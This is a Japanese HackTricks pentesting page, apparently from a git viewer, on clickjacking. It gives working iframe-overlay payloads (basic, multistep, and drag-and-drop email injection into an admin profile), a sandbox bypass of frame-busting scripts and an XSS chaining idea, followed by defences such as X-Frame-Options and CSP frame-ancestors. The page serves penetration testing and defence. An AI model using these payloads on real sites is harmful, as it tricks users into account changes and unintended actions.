hacktricks/pentesting-web/clickjacking.md

227 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Clickjacking
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Clickjackingとは
Clickjacking攻撃では、**ユーザー**が**見えない**か、別の要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
### フォームの事前入力トリック
時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。
### ドラッグ&ドロップでフォームにデータを入力
ユーザーに**フォームに入力してほしい**が、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように依頼して、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように制御されたデータを書き込むことができます。
### 基本的なペイロード
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### マルチステップペイロード
In this technique, the attacker uses multiple iframes to divide the attack into multiple steps. Each iframe loads a different part of the attack, making it harder for the victim to detect the malicious activity. By splitting the payload into multiple steps, the attacker can bypass certain security mechanisms that may be in place to detect and prevent clickjacking attacks.
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ドラッグ&ドロップ + クリックペイロード
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
**XSS攻撃を特定し、ユーザーがクリックする必要がある** **XSSをトリガー** するページがあり、かつページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\
例:\
_アカウントのプライベートな詳細**あなただけが設定および読み取り可能**)で**self XSS**を見つけました。これらの詳細を設定するための**フォーム**が**Clickjackingに脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\
\_\_攻撃者は、そのページに**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させる可能性があります。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。
## Clickjackingの緩和策
### クライアントサイドの防御策
クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
* アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
* すべてのフレームを表示する。
* 不可視フレームでのクリックを防止する。
* Clickjackingの試みを検出し、ユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
* **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
* **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-forms`または`allow-scripts`の値を設定し、`allow-top-navigation`を含まない`sandbox`属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeがトップウィンドウであるかどうかを検証することが防止されます。
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### サーバーサイドの防御
#### X-Frame-Options
**`X-Frame-Options` HTTPレスポンスヘッダー**は、`<frame>`または`<iframe>`内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます
- `X-Frame-Options: deny` - どのドメインもコンテンツをフレーム化できません。
- `X-Frame-Options: sameorigin` - 現在のサイトのみがコンテンツをフレーム化できます。
- `X-Frame-Options: allow-from https://trusted.com` - 指定された 'uri' のみがページをフレーム化できます。
- このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。
#### Content Security Policy (CSP)のframe-ancestorsディレクティブ
CSP内の**`frame-ancestors`ディレクティブ**はClickjacking保護の推奨方法です
- `frame-ancestors 'none'` - `X-Frame-Options: deny`と類似。
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`と類似。
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`と類似。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します
`Content-Security-Policy: frame-ancestors 'self';`
詳細や複雑な例は、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)で見つけることができます。
### `child-src`および`frame-src`を使用したContent Security PolicyCSP
**Content Security PolicyCSP**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐセキュリティ対策です。
#### `frame-src`ディレクティブ
- フレームの有効なソースを定義します。
- `default-src`ディレクティブより具体的です。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームを許可します。
#### `child-src`ディレクティブ
- CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するために使用されます。
- frame-srcおよびworker-srcのフォールバックとして機能します。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
このポリシーは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーを許可します。
**使用上の注意:**
* 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
* フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
* 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
#### JavaScriptによるフレーム破壊スクリプト
完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Anti-CSRFトークンの利用
* **トークンの検証:** WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。
## 参考文献
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>